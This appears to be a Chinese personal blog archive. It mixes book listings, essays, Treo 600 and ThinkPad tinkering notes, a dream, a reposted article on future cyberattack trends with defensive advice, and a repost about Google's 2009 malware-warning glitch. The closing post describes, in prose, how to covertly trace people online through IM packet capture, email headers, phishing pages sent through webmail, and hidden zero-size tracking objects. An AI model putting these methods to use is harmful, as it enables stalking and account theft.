　　每一次搜索都是一种表达，数亿网友在百度每天的搜索"投票"，刻录下来的是年度的历史记忆，沉淀下来的是超越个人的群体意识和时代精神。 ・编辑推荐 ・内容简介
・作者团队简介 ・目录
・2008年度十大热门事件 ・悲欣交集2008

《百度一下》 第一部分
　　众里寻她千百度。百度最大的资产是它凝聚用户的能力。不同的用户选择使用这一搜索工具，得到他们想要的信息，百度在汉语搜索上的优势使其凝聚到了最大份额的"中国读者"，"百度一下"成为搜索一下的替代用语，这是技术的胜利，工具的胜利。
・百度的成人礼 ・风云际会纠结跌宕的2008(1)
・风云际会纠结跌宕的2008(2) ・风云际会纠结跌宕的2008(3)
・榜评永远不变的是变化(1) ・榜评永远不变的是变化(2)
・2008年度十大热门事件 ・榜评悲欣交集2008(1)
・榜评悲欣交集2008(2)

《百度一下》 第二部分
　　1月2日，新疆乌鲁木齐德汇国际广场发生火灾，5日下午大火被扑灭。火灾中共有5人遇难，其中3人为消防官兵，直接经济损失超过5亿元。此次火灾，人们聚焦于小商品市场的消防安全问题。
・第一周0101～0106 ・第二周0107～0113
・第十三周0324～0330 ・第十六周0414～0420
・第十八周0428～0504 ・第二十周0512～0518(1)
・第二十周0512～0518(2) ・第三十周0721～0727
・第三十二周0804～0810(1) ・第三十二周0804～0810(2)
・第三十二周0804～0810(3)

《百度一下》 第三部分
　　近日，一段白岩松主持的10月7日《新闻1+1》的视频在一论坛上被贴出，引发网友热议。网友称其在节目中语无伦次发挥失常，怀疑其醉酒出镜，甚至将其中一些"对话"制成"白岩松醉话录"。白岩松对此未予回应。
・第四十二周1013~1019 ・第四十五周1103-1109(1)
・第四十五周1103-1109(2) ・第四十九周1201~1207(1)
・第四十九周1201~1207(2) ・第五十周1208~1214
・十大人为灾难事件 ・在灾难中不断寻求进步的路……
・十大网络人物 ・从人肉搜索到网络审判
・最受关注的十大文章 ・文字的力量
・十大最受关注经济事件 ・十大最怀念文娱人物
・那些人儿 ・十大最受关注奥运赛事
・向比赛致敬

酒吧一夜

密闭的空间里，充斥着噪耳的音乐，昏黄的灯光下，坐着三三两两的人，桌前摆着几个酒瓶，或大声说的什么，在喧闹的音乐里传过来，或者噼哩啪啦地玩着筛子，据说这是娱乐场所的必备。

老宋说，要不弄一个玩？

感觉没意思，还是算了吧。喝酒聊天吧。

酒里带着些甜味，有些饮料的感觉，喝多了，就在肚子里积攒出一个很大的空间，胀的慌。

音乐很没劲，只是瓜子刮噪的音符，毫无美感。

不通气的空间里，到处弥漫出烟雾，连吧台上倒酒的三四个姑娘，也每人吐云吐雾，和客人玩着筛子。到处都显的颓废无聊，在这样的深夜里，这样挥霍着春天的时光？

都说中国人网民多少？有点条件的，一般都能上网吧，连农村里都有许多电脑了。上网也成了很多的娱乐活动。然而，通过上网寻找精神的娱乐，却更加让人无聊，身体也变的肥胖，性格变的孤僻，渐渐成为一种精神障碍。

但几乎可见的娱乐活动，都充满了声色犬马。要是和几个朋友，马上去哪儿去玩呢？酒吧歌厅乌烟瘴气，洗浴桑拿更不用说了，就说上岛两岸或其它的咖啡店茶馆，也坐满了暧昧的男女。到哪儿能找到新鲜的空气，和透畅的交流呢？

有个国外老愤青说什么来着？中国人放纵着情纵，会准备随时着和不认识的陌生人，发生性关系。

到处真是堕落啊。

一定不会用这种沟通方式，拉客户做项目，如果有这样的项目，不做也罢。

写的非常好的文字

挺有文采，读的感觉痛快

http://blog.sina.com.cn/s/articlelist_1362203500_1_1.html

一条命令看天气

curl http://weather.china.org.cn/english/forecast/china_city_24.html
|grep "Beijing" -A 3|sed -e 's/<[^>]*>//g'

转文--未来的攻击趋势

现在大部分的企业或组织至少也都在信息安全方面采取了一定的基本防御措施，用户的安全意识也得到了加强，一些独创性的安全技术为应对未来更加强大的攻击
提供了支持。但是仅仅这些就足够了吗？这是不可能的。
　　至少仅仅靠安全意识上的加强是远远不够的，而且很少有人将历史教训放在心上。红色代码的爆发就充分地说明人们常常即使已经知道存在某种安全威胁，但却事不关己，高高挂起，自己还没有遭到攻击就赖得补救。而企业有限的安全预算也制约着信息安全领域的发展。另外，一些人还会出于某种目的花费大量的时间去研究新的攻击方法和手段，尽管如此，我们还是可以尝试着去预测隐伏着的可能的这些攻击。
　　笔者时常被问," 什么样的潜在性网络攻击会使你在半夜醒来?" 笔者想可能下面的这些就足以使我半夜惊醒：
　　1、超级蠕虫
　　无论是手段的高明性，还是破坏的危害性，计算机网络受到蠕虫的威胁都在激增。在我们的民意调查中显示人们仍旧将这一威胁看作是计算机网络将面临的最大威胁之一，有超过36%的人认为超级蠕虫的威胁应该摆在第一位。
　　超级蠕虫，它一般被认为是混合蠕虫。它通常能自我繁殖，并且繁殖速度会变得更快，传播的范围会变得更广。更可怕的是它的一次攻击就能针对多个漏洞。例如，超级蠕虫潜入系统后，不是仅仅攻击某个漏洞，而是会尝试某个已知漏洞，然后尝试一个又一个漏洞。
　　超级蠕虫的一枚弹头针对多个漏洞发动攻击，所以总有一个会有效果。如果它发现你未打补丁的地方，那你就在劫难逃了。而事实上没有哪家公司的系统完全打上了所有的补丁。
　　很多安全专家逐渐看到的通过IM(即时消息)进行传播的蠕虫就可以说是一种超级蠕虫。黑客将一个链接发给IM用户后，如果用户点击链接，蠕虫就会传播给该用户的IM地址簿上的所有人。有了IM，用户将随时处于连接状态，所以也随时会受到攻击。
　　为对付未来的超级蠕虫我们所能做的将是:
　　对外部可访问系统进行安全加固, 像Web服务器，邮件服务器和DNS服务器等，尽量将它们所需要开放的服务减少到最小。
　　给系统及时打上补丁、及时更新防病毒软件，对员工进行安全宣传和教育。
　　使用基于主机的入侵检测系统和预防工具, 例如Symantec的 Intruder Alert 3.6 可以阻断或迅速发现蠕虫的攻击。
　　2、隐秘攻击(Stealthier Attacks)
　　现在越来越多的黑客把攻击后成功地逃匿IDS的检测看作是一种艺术，有许多新工具将能使他们在攻击用户的系统后，不会留下任何蛛丝马迹，有多种高级黑客技术将能使之成为可能，而这些技术已经被广泛地为专业黑客和一些高级的脚本菜鸟(Scripts
Kids)所采用：
　　多变代码
　　这些恶意软件其本身可能是一种病毒，蠕虫，后门或漏洞攻击脚本，它通过动态地改变攻击代码可以逃避入侵检测系统的特征检测(Signature-based
detection ，也可称为模式匹配)。攻击者常常利用这种多变代码进入互联网上的一些带有入侵侦测的系统或IDSes入侵者警告系统。
　　Antiforensics
　　攻击者可操作文件系统的特性和反侦测伎俩进行攻击来逃避IDS的检测。
　　例如通过利用像Burneye这样一个工具，可以掩盖黑客对系统的攻击企图，使用Defiler的工具Toolkit可以覆盖黑客对目标文件系统所做的修改留下的蛛丝马迹。
　　隐蔽通道
　　为了和后门或者恶意软件进行通讯，攻击者必须建立一条非常隐蔽的通信通道。为此，攻击者常常将通讯端口建立在一些非常常用的通信协议端口上，像HTTPS或者SSH。
　　内核级后门(Kernel-level root kits)
　　通过从系统内核控制一个系统，攻击者获得对目标系统的完全控制权限，而对受害者来说却一切都似乎风平浪静。
　　嗅探式后门(Sniffing backdoors)
　　通过将后门和用户使用的嗅探器捆绑在一起，攻击者能够巧妙地绕过用户使用的传统的通过查看正在监听的端口来发现后门的检测方法，使受害者被种了后门却还一直蒙在鼓里。
　　反射式/跳跃式攻击
　　与其直接像目标系统发送数据，很多攻击者觉得还不如利用TCP/IP欺骗技术去以误导正常的检测，隐蔽攻击者的真实地址。象反射式DoS攻击就是例证。有关反射式DoS攻击的详细信息，请参见安络科技七月巨献：网络攻击机制和技术发展综述。
　　针对以上这些诡秘的攻击，作为用户又该如何防范和阻止呢？
　　如果你的系统遭到这种攻击，你需要能够迅速地检测出来，而且要知道攻击者具体在你的系统上干了写什么。为了能够察觉出这种入侵，需要同时使用基于网络和基于主机上的入侵检测系统和防病毒产品，并仔细检查你的系统日志。一般用户可能不具备这种专业能力，可以寻找一家高专业水准的信息安全签约服务商，为您提供高水平的反入侵服务。
　　一旦你发现自己的系统有什么异常，你必须确保你的事件紧急响应小组在取证分析上有丰富的经验，能够熟练使用像@stake的免费TASK工具或者Guidance
Software的商业软件EnCase，因为这两个工具都能非常仔细对系统进行分析，并且非常精确地隔离攻击者的真实破坏活动。重点部门的事件响应小组可以和专业安全服务商共建，明确分工，及时处理。
　　3、利用程序自动更新存在的缺陷
　　主流软件供应商,像Microsoft和Apple
Computer等都允许用户通过Internet自动更新他们的软件。通过自动下载最新发布的修复程序和补丁，这些自动更新工具可以减少配置安全补丁所耽误的时间。
　　但是程序允许自动更新的这个特征却好比一把双刃剑，有有利的一面，也有不利的一面。攻击者能够通过威胁厂商Web站点的安全性，迫使用户请求被重定向到攻击者自己构建的机器上。然后，当用户尝试连接到厂商站点下载更新程序时，真正下载的程序却是攻击者的恶意程序。这样的话攻击者将能利用软件厂商的自动更新Web站点传播自己的恶意代码和蠕虫病毒。
　　在过去的六个月中，Apple 和 WinAmp 的Web站点自动更新功能都被黑客成功利用过，所幸的是发现及时(没有被报道)。Apple
和 WinAmp 后来虽然修复了网站的缓冲溢出缺陷，并使用了代码签名(Code
Signing)技术，但基于以上问题的攻击流一直没有被彻底清除。
　　为了预防这种潜在的攻击威胁，需要严格控制和管理安装在你的内部网机器上的软件，禁止公司职员随意地安装任何与工作无关的应用软件。在这里，你可以使用软件管理工具来强迫执行，像
Microsoft 的 SMS，LANDesk SOFTware 的
LANDesk。这两个工具只要二者择其一，你就可以配置你的内部升级服务器，如通过在工具中对微软软件升级服务器相关选项进行配置，你可以具体选择哪个修复程序和补丁允许被安装。为保护你的网络，可使用sniffer测试所有的补丁，如发现网络流量不正常或发现开放了陌生的端口则需引起警觉。
　　4、针对路由或DNS的攻击
　　Internet主要由两大基本架构组成：路由器构成Internet的主干，DNS服务器将域名解析为IP地址。如果一个攻击者能成功地破坏主干路由器用来共享路由信息的边界网关协议（BGP），或者更改网络中的DNS服务器，将能使Internet陷入一片混乱。
　　攻击者通常会从头到脚，非常仔细地检查一些主流路由器和DNS服务器的服务程序代码，寻找一些能够使目标程序或设备彻底崩溃或者取得系统管理权限的缓冲溢出或其它安全缺陷。路由代码非常复杂，目前已经发现并已修复了许多重要的安全问题，但是仍旧可能存在许多更严重的问题，并且很可能被黑客发现和利用。DNS软件过去经常发生缓冲溢出这样的问题，在以后也肯定还可能发生类似的问题。如果攻击者发现了路由或DNS的安全漏洞，并对其进行大举攻击的话，大部分因特网将会迅速瘫痪。
　　为了防止遭到这种攻击，确保你的系统不会被作为攻击他人的跳板，应采取如下措施：
　　对公共路由器和外部DNS服务器进行安全加固。如果公司的DNS服务器是为安全敏感的机器提供服务，则应为DNS服务器配置防火墙和身份验证服务器。
　　确保DNS服务器安装了最新补丁，对DNS服务器严格监控。
　　如果你认为是由ISP的安全缺陷造成的威胁，确保你的事件紧急响应小组能够迅速和你的ISP取得联系，共同对付这种大规模的网络攻击。
　　5、同时发生计算机网络攻击和恐怖袭击
　　这可以说是一场双重噩梦：一场大规模的网络攻击使数百万的系统不能正常使用，紧接着，恐怖分子袭击了一个或者更多城市，例如一次类似9/11的恐怖爆炸事件或者一次生化袭击。在9/11恐怖袭击事件后，美国东部的几个海岸城市，电话通信被中断，惊恐万分的人们不得不通过E-MAIL去询问同事或亲人的安全。由于这次袭击，人们发现
Internet 是一种极好的传媒(还有电视传媒)。但是我们不妨假设一下，如果此时爆发超级蠕虫，BGP和DNS被遭到大举攻击，那么在我们最需要它的时候它也将离我们而去,可以想象将是一种什么样的糟糕场面。但是这又并不是不可能发生的。
　　我们要居安思危，为这种灾难的可能发生作好应急准备是相当困难的：
　　作好计算机的备份工作；
　　除给紧急响应小组配备无线电话外，还需配备全双工传呼设备；
　　要确保你的计算机紧急响应小组有应付恐怖袭击的能力；
　　要假想可能出现的恐怖袭击场面以进行适当的演习，以确保真正同时发生网络攻击和恐怖袭击时，他们能够迅速、完全地进入角色。
　　也许有人会认为我们这样做可能都是杞人忧天，但是，笔者有理由相信这样的事情在未来的5年中是完全有可能发生的，只不过所使用的攻击技术可能是我们在上面所列举出来的，可能是我们所没有预计到的。

过时技术

linux FreeBSD实现无线上网（cdma1x +gprs +wlan+红外+蓝牙+串口+usb)

主要是去年我在slackware下，用Motorola V730实现了cdma 1x无线上网，另外同学那儿有AireCard
750，也在我的机器配置好了。现在我主要用朋友给的一块Symbol无线网卡上wlan。
机器配置为 IBM tp600 + SLackware + FreeBSD 5.0
另外，哪位有蓝牙设备，我也可以帮你搞定

如T39一类，通过蓝牙、红外口无线上网的方法，大家可以在此交流。只要有设备，我可以很快帮你解决地。呵呵。因为我很少上网查资料，有问题都是自己搞定

----03年的一篇文章

hhaa

http://item.taobao.com/auction/item_detail.jhtml?x_id=0db2&item_id=fd08bc1e7021bbf1e657a87efe9e8140
这儿有个买一送一的palm 600，似乎不错的样子，其实一个有问题另一个可用
【我的淘宝CPU店】
http://shop33270872.taobao.com/ 风云世界的小店
http://www.laptopsky.com/bbs/read.php?tid=42505 220 tp600e
胖太阳QQ 443769569
我有病 guangming-003@163.com
60G SATA硬盘 QQ271164936

出2个T2X电池，一个好一个坏，都没有拆开过，容量看图，好的那个80元，坏的那个20元。2个都要包快递，好的那个上网1个小时左右。电话13321899985
QQ398252814
http://www.laptopsky.com/bbs/read.php?tid=41596 mmc2转mmc1，到哪儿找这种转接卡呢？
http://www.rayfile.com/zh-cn/files/6f32ee57-8b18-11dd-9a89-0014221b798a/
tp600升u的软件和资料
http://www.rayfile.com/zh-cn/files/6f32ee57-8b18-11dd-9a89-0014221b798a/
如何拆tp600
http://www.laptopsky.com/bbs/read.php?tid=38055 tp600的升级与心得体会
http://shop33073845.taobao.com/ 胖太阳的店

http://www-307.ibm.com/pc/support/site.wss/document.do?sitestyle=lenovo&lndocid=DSHY-3VRJPK
下载最新的bios文件，我的似乎已经升级过了吧？

http://store.taobao.com/shop/view_shop-a75d47e3f5b5ad54e5133b2cfb41234d.htm?nekot=g%2Cpf4wg2tl1232502186894
yycjk的折腾过600x，全套一大堆配件，似乎只要500?
Google MMC1转MMC2看看，内容确实不多，看上去似乎不如600x主板+cpu+风扇更稳定呢
http://item.taobao.com/auction/item_detail-0db2-c08314c4f951ad7ec1596d9298ec4e72.jhtml
p3 650 68元/个
扩展坞 3547

目前的方案是这样，使用旧的那台，将 PII 366 -> P3 750，然后加内存。然后将手上的这台tp600，换成Pii
366，只升了66，差别不大吧，还是不折腾。那怎么办呢？还有个方案，1、找mmc2转mmc1的转接卡
2、找个600x的废旧主板+cpu+风扇

http://shop33531487.taobao.com/ 卖SD内存的
http://item.taobao.com/auction/item_detail-0db2-3452a791c4faac34dd878098fdbf2484.jhtml
p3 700硬改全频包快55

treo 600使用card export 连接出现“无法传送USB卷。主机失败！ 的问题

treo 600使用card export 连接出现"无法传送USB卷。主机失败！ 的问题
card export 用上一段时间内，会出现上面的错误提示，无法将SD卡变成U盘了。怎么回事呢？
有人说是ptunes冲突，还有人说是巨硬的原因。经过我一番摸索，原来不知何时，系统中有个文件增加了一个东西，这个文件为saved
perfermanc，只要将里面的pusb 256删除就可以了。
可以用来编辑此文件的工具有如下几个：
resco explorer
rsrcedit
filez
这三个程式中哪一个都可以。
我用resco explorer 3.20版本。
找到saved perfermance这个文件后，直接打开，点击右上角靠右的下拉菜单，可以找到了"pusb "，（我的treo
600上是pusb 256） 删除它即可。
现在可以正常用CardExport连接到电脑上了。

注：有一段时间用 card reader，所有人都说不错，但我在使用的过程中，经常会遇到机器重启的问题。但card
export就没有这个问题。现在解决了card
export无法问题，又可以直接读写SD卡了。把最新的pssh放到卡上面，上newsmth.net速度很快。
另外，网上还有个工具，叫 fixce，似乎是叫这个名字，几年前我用过，效果也是一样的，也能解决此问题。不过很多机器上面，都安装了resco
explorer 吧？用这个工具修改也非常方便。

Palm 不支持 Fat32 ?

大旱后的第一场雨

憋了很长时间，终于下雨了，晴天也不远了。春节期间，大雾满天，给同学王华发了短信，让他开车回京时小心安全。另外今年也特别旱，小麦经了一冬，返青急需雨水，一冬好像也没有下点儿雪，麦苗已经岌岌可危了。这一场雨下来，真救命啊。

淋在身上，初春的雨水特别凉。心里却觉的特别高兴。一直为自己的农民身份自豪，觉的城镇长大的孩子特别笨，从小没干过农活，动手能力特别差，没一点儿创造力，只有一些小聪明。还是咱农村出来的，锄过地扶过苗的，踏实、进取、有创造力，相比从小在城镇长大的，哪一个不是特别优秀？

雨下的不大不小。回到家，湿了一层衣服。听说还是人工降雨。这几年不断的人工降雨，然而雨量不断地减小不断地减小，感觉人工降雨就像拨苗助长一样，长期看有了坏影响。不知道有人研究过没有？长期的人工降雨，会对天气和环境造成哪些影响？不能紧盯着这一场雨来看啊，毕竟还要在这片云彩下，活上很多年呢

享受经典，我的treo600

这块手机用到第五年来，再回头来看看，给我很多帮助，可能还可以用上若干年。无论从哪种用途来说，都足可以胜任，甚至比现在市场流行的各种PPC手机，还要功能强大，性能稳定。
这块手机的名字，叫 treo 600
，是handspring的作品，名为其名，非常漂亮，非常经典的一个产品。可以做什么呢？在那么低的配置下，可以实现PDA功能的大部分，而且有许多功能许多软件，都是免费的。因为每个软件的体积特别小，而且可以放在SD卡上面，所以我的手机里放了四五百种的各种程序，各种各样的功能，各种各样的特色。
手头上其实也有一块最新的PPC手机，CPU比我的笔记本频率还要高，内存比我用的笔记本电脑内存还要大，支持wifi，支持最高上网速度的3G。
但用顺了手，还是觉的treo600更强大，更方便，做事更有效率。
正月里闲着没事，又拿来折腾了一番。这下子彻底搞清了几个事情。
Treo600的死机原因。当treo600接到未知号码的来电时，就是那种不显示号码的电话，就会自动死机重启。这时，只要在拨号界面里，输入
#*377，即可以查到重启的原因。我的原因，是因为一个号码通，它还有另一个名字叫"号码归属地"的软件引起的。当可显号码的电话拨入时，会在当前界面上显示对方号码的归属地。这个软件的最新版本是
1.3，2008年9月出版的，最后一个版本仍然有这个问题。解决方法，是使用老许的"来电秀"，或者干脆别用这么花哨的功能。不然，又怎么让你的treo600待机一周呢？呵呵
Treo600的待机，可以使用"省电英雄"，其实我没用这个，而是用的profeo 600
lite这个工具非常小，配置界面也非常简单，可以自动定时开关机，根据时间段定制屏幕亮度、铃声大小、键盘灯开关等细节。但没有看到蓝牙、红外的相关选项。Treo600没有蓝牙。Treo650才有。但红外如何关闭呢？还是已经默认情况下已经关闭了？
另外，还有个未知的问题，就是callblock经常会引起一些奇怪的问题，推荐还是删除掉了。平时可以放在卡上，实在需要阻断不想接的电话时，再启用就是了。
至于其它的使用技巧，treo上的太多了，比如只使用键盘的技巧，可以非常明显地改善使用效率，看上去是真正的运指如飞了。每个程序那么少，虽然是五年前的机器，但响应速度比现在的新机器还要快。这就是palm程序的魅力所在啊。
拥有treo600，会更有效率。早上打球的时候，我还在想，其实象我这么懒的人，是不是因为这种优秀的产品，才推动着不断地思索，不断地进取，不断地向前追求呢？回想一下，感觉确实从treo600身上，发挥了这样一种能力，促人奋发向上。

享受经典，我的treo600

这块手机用到第五年来，再回头来看看，给我很多帮助，可能还可以用上若干年。无论从哪种用途来说，都足可以胜任，甚至比现在市场流行的各种PPC手机，还要功能强大，性能稳定。
这块手机的名字，叫 treo 600
，是handspring的作品，名为其名，非常漂亮，非常经典的一个产品。可以做什么呢？在那么低的配置下，可以实现PDA功能的大部分，而且有许多功能许多软件，都是免费的。因为每个软件的体积特别小，而且可以放在SD卡上面，所以我的手机里放了四五百种的各种程序，各种各样的功能，各种各样的特色。
手头上其实也有一块最新的PPC手机，CPU比我的笔记本频率还要高，内存比我用的笔记本电脑内存还要大，支持wifi，支持最高上网速度的3G。
但用顺了手，还是觉的treo600更强大，更方便，做事更有效率。
正月里闲着没事，又拿来折腾了一番。这下子彻底搞清了几个事情。
Treo600的死机原因。当treo600接到未知号码的来电时，就是那种不显示号码的电话，就会自动死机重启。这时，只要在拨号界面里，输入
#*377，即可以查到重启的原因。我的原因，是因为一个号码通，另一个名字叫"号码归属地"的软件引起的。当可显号码拨入时，会在当前界面上显示对方号码的归属地。版本是
1.3，2008年9月出版的，最后一个版本仍然有这个问题。解决方法，是使用老许的"来电秀"，或者干脆别用这么花哨的功能。不然，又怎么让你的treo600待机一周呢？呵呵
Treo600的待机，可以使用"省电英雄"，其实我没用这个，而是用的profeo 600
lite这个工具非常小，配置界面也非常简单，可以自动定时开关机，根据时间段定制屏幕亮度、铃声大小、键盘灯开关等细节。但没有看到蓝牙、红外的相关选项。Treo600没有蓝牙。Treo650才有。但红外如何关闭呢？还是已经默认情况下已经关闭了？
另外，还有个未知的问题，就是callblock经常会引起一些奇怪的问题，推荐还是删除掉了。平时可以放在卡上，实在需要阻断不想接的电话时，再启用就是了。
至于其它的使用技巧，treo上的太多了，比如只使用键盘的技巧，可以非常明显地改善使用效率，看上去是真正的运指如飞了。每个程序那么少，虽然是五年前的机器，但响应速度比现在的新机器还要快。这就是palm程序的魅力所在啊。
拥有treo600，会更有效率。早上打球的时候，我还在想，其实象我这么懒的人，是不是因为这种优秀的产品，才推动着不断地思索，不断地进取，不断地向前追求呢？回想一下，感觉确实从treo600身上，发挥了这样一种能力，能促人奋发向上。

看书《何新论金融危机与中国经济》

最近又看了两本书，感觉看的比较郁闷。书写的没有达到理想的好看程度。
郭欣翻译的《美国大萧条1929》，具体书名也记不太清了。书已经还给朋友，坚持看过几章。经常有挺长的那种句子，考验逻辑，看着挺绕。重点看了看，大萧条时期，人们的理财方法、娱乐方式，都是尽量保值，少花钱的一些方法。
还有一本是《枪杆子1949》，看着就更痛苦了。描述解放战争时期，四野的一些历史故事。基本上就是史料的堆积，没有多少故事可读性，估计是给学者们看的吧。但里面的语言又很�嗦，前言不达后语的，看上去，似乎根据一位老战士的讲故事录音整理出来的。

今天又借了两本。
一本是《何新论金融危机与中国经济》。感觉这本非常棒。只读完前几页，已经解答了长久以来的疑惑。这场金融危机的本质是什么？怎么产生的？有哪些影响？何新在《香港商报》7月10日上有篇文章，就已经清楚地预测地这场危机。此书第一篇，就将此文收录进来，整篇文章看上去很有说服力。从美国新经济的脆弱性、美元泡沫、美国经济崩溃对全球的影响几个方面，有02年的时候，就对今天出现的一切现实，给出了明确准确的预测。

看完一半，学经济的同学说何新是个大忽悠，呵呵。但我感觉文章里面的东西，还是比较靠谱的。可能我不是这个专业的，只能接受普及水平吧。反正看着还行。

家里来了两个七个岁的小孩，异常吵闹。

继续折腾我的treo600，以及那台老笔记本电脑。

折腾前：600E P2-366 128M 6G
折腾后：600X P3-850 576M 15G 3547-003
深度简化XP 双模无线网卡(GPRS+WLAN)

订了祈福卡，过几年到货。

做了一个荒唐梦

不知怎么，被一团光轻轻地包围住，拾了起来，升在半空，开始慢慢地转动。放眼一看，周围全是各种的星球，像是处身银河系里，光线绚丽多彩，非常漂亮。有闪烁的星星，还有蓝色漂亮的地球，柔柔光线的月亮，金灿灿的太阳。。。。。
心底里还在想，身体正在被改造，会具有超人一般的能力。光团越转越快，在一个很大的房间里向外漂出，漂到一个靠近大落地窗的位置，飘在半空。心想要是玻璃破了，就可以漂到外面更广的空间去。
身体在光团里，非常地安详、舒适，随着光团转着圈，观看外太空时各种漂亮的星座。
过了挺长一段时间，似乎身体改造好了，还给我们两个马蹄形磁铁的东西，说是威力无比。这时，我们的眼睛能射出激光，耳朵能听到另一个星球上面的说话声，能飞会变，身体健壮轻盈，可变各种东西。与天地同寿，与日月同光。
这时好像老婆还不相信，我拉住一个同学，说："同学，借你衣服一看"。这位同学穿着皮恰卡牛仔裤运动鞋，袖子只有半截，露出黑色的毛衣来。心想，难道是今天的流行穿法？这位同学急急而去，丢下一句话："忙着，没空，我是出来。。。"后来好像是打酱油或俯卧撑之意。我眼睛一瞄，其实已经记住了衣服样子，身体一转，身上就有了同样的衣服款式。
老婆有些信了，只是骂我老土，变了这么一身掉渣衣服。我又随意变了几次，可以变成空气，可以变的透明，可以穿过石山，可以飞过高山。

过了一会儿，来到一个山谷里。里面有一帮科学家正在疯狂地做着各种试验。跟他们聊了一会儿，不知为什么搁下这么一句话："你们忙，我们先走了。要是哪天太阳没了，你们也不用担心，我们可以变成太阳和月亮，给大家照亮儿。"
话虽这么说，心底里却想，挂在半空，其实也挺孤单的。真有那么一天，我会义不容辞地挂上去吗？
走过一个山坡。我问另一人。（一直没仔细看清另一人是哪位？）你的马蹄形工具装好了吗？他居然回答，借给那帮科学家研究了。
"你个SB"，我急的马上骂出来。也来不及解释，心底里着急："这要是让这帮科学家折腾了，世界还不乱套？本来还想多玩几天呢，没想到马上就得挂到天上去，给大家当太阳。"
刚走几步，正碰上科学家的头坐车急速出来。头顶像是刚被雷劈过，头发焦了正在冒烟。
也不知怎么，我就想，难道急着去国防科工委汇报？（因为我是中国人嘛）。他们要是从马蹄形铁上刮出一点儿渣来，就可以克隆一个同样的。这个世界会很惨的。
正在想着，第二辆车开来了。我忙弹了一道凌厉的指风，企图阻止车子停下来。没想到军车翻了个，居然车头对着我，一掀盖布，露出一个巨大的声波武器来。一道激烈的冲击波就轰了过来。我一低头躲过。
于是一场大战开始了。
最后快醒的时候，我还想，我和他们单打独斗干什么？我可以控制天气，制造风暴，影响大自然，就让大自然惩罚他们吧。

google出错的官方解释

http://blog.stopbadware.org/2009/01/31/google-glitch-causes-confusion

[Update 12:31] Google has posted an update on their official blog that
erroneously states that Google gets its list of URLs from us. This is
not accurate. Google generates its own list of badware URLs, and no
data that we generate is supposed to affect the warnings in Google's
search listings. We are attempting to work with Google to clarify
their statement.

======================================================================
http://googleblog.blogspot.com/2009/01/this-site-may-harm-your-computer-on.html

What happened? Very simply, human error. Google flags search results
with the message "This site may harm your computer" if the site is
known to install malicious software in the background or otherwise
surreptitiously. We do this to protect our users against visiting
sites that could harm their computers. We work with a non-profit
called StopBadware.org to get our list of URLs. StopBadware carefully
researches each consumer complaint to decide fairly whether that URL
belongs on the list. Since each case needs to be individually
researched, this list is maintained by humans, not algorithms.

We periodically receive updates to that list and received one such
update to release on the site this morning. Unfortunately (and here's
the human error), the URL of '/' was mistakenly checked in as a value
to the file and '/' expands to all URLs. Fortunately, our on-call site
reliability team found the problem quickly and reverted the file.
Since we push these updates in a staggered and rolling fashion, the
errors began appearing between 6:27 a.m. and 6:40 a.m. and began
disappearing between 7:10 and 7:25 a.m., so the duration of the
problem for any particular user was approximately 40 minutes.

---------注：我也有一个猜想，请参看上一篇博文。

数据背后的乐趣

如何在网上追踪定位一个人呢？
如果有更多的信息，当然比较好。比如有对方的邮箱、手机号、QQ号、msn、论坛账号等信息。如果有更多的权限，就更好了。象执法机关那样，可以随时进行手机定位、查阅相关的服务器等。
没有足够的信息、权限时，怎么办呢？
这几天深入想了一下，还是有许多办法的。
IM工具的定位，已经有大量方法了。如QQ/msn，通过本地的抓包，即使对象隐身了，也能想到对方的地址信息。如果再传个文件，发个图片，就更有数了。但这一切，都是基于对方透明网络，没有使用隐身代理的情况下。
关于qq/msn的ip查找问题，网上已经有大量的文章在描述了。
另外，也可以通过发邮件确定某人IP。通过邮件定义的邮件回执，再查看邮件头信息，确定对方的IP信息。邮件头里面的信息其实是很丰富的，只是一般人很少查看。通过foxmail和outlook这类邮件工具，打开邮件，显示邮件的全部信息，就可以看到邮件头信息。这里面包括了收发邮件人的IP信息。使用这种方法，有时也会用来查找垃圾邮件的发送者。当然，这里面的信息，有时也是可以伪造的，但一般人很少动这心思。通过查看邮件头信息，确实可以得到很多有用的信息。

但有一种情况，发送邮件者通过web mail发送时，发送的IP地址就变成web
mail服务商的地址了，不会显示发送者的原始地址。另外，在许多论坛上面，我们如果也想查看其它人的IP信息，怎么办呢？
上面的这种情况还是很普遍的。即，所有的客户访问活动，都是在server上进行的。第三方没有管理权限，如果查看其它访问的信息？

跨站和注入是个很好的工具。跨站和注入相结合的广泛应用，说明了大量的应用，仍然没有对输出输出进行严格的控制。其实不光跨站注入说明问题，还有许多应用实现偏离安全设计目标的情况。这种情况更为多见。
什么意思呢？应用实现偏离安全设计目标。
就是应用系统在实现的时候，都基于一个懒惰、自由、信任、或者受限于安全编程去实现的。编程者相到的首先是如何实现一个功能，如何把这个功能实现的更加高效完美，这个功能也可能在输入输出时，设计者想到了许多方法去控制输入输出，但多个功能组件放在一个复杂的系统时，会产生了许多不可预知的状态。通常这种状态，就是我们可以寻找突破的地方。
恩，说了半天，我怎么老觉的没有说透，似乎让人越来越糊涂呢？

举一个例子吧。
比如国内的主流邮箱，大部分都提供了web mail功能。这些web mail
的实现，看上去都实现的非常好，效率高，反应快，界面漂亮，功能繁多，也没有什么安全问题，即使有，我们这样的水平，一时半会儿也要折腾着专门研究，就没时间赚钱吃饭了。所以，暂时还是很安全的。能随意控制这种系统的人，至少现在我还没有见过。只能让心底里崇拜吧。
那，这么安全的一个系统，如何实现我的需求？实现界面上面没有一些东西，让它真正 我所用呢？
我们就需要在这具系统的多个组件状态中，寻找突破口。
通过在一些web mail中，构造一个假造的用户名、密码修改页面，发送到别人，就可以通过钓鱼手段，取得没有防范心理的账户信息了。
另外，在一些web mail中，还可以加入frame，img,url,scrip,flash等对象，把对象的width=0
height=0，就隐藏起来了。如果再把这些对象引用，放到控制的服务器上面，就可以取得访问者信息了。
刚开始，我还以为这些对象的引用，需要经过web mail的过滤，后来发现，所能接触到的系统，都是没有通过服务器进行引用。哈哈。记住，是所有的系统。
如果有系统做了引用处理。那么，又提供了另一种可能。
一般服务器是不对外主动访问的。如果做了引用处理，就必须发起主动访问了。那么，这里面可以玩的，有趣的东西，就更多了，不是吗？引用对象各种各样，攻击者只要把对象放在外部，等着服务器来访问，进行感染服务器的功能组件就可以了。
恩，说到这儿。不得不提一下google/baidu一类的搜索引擎。
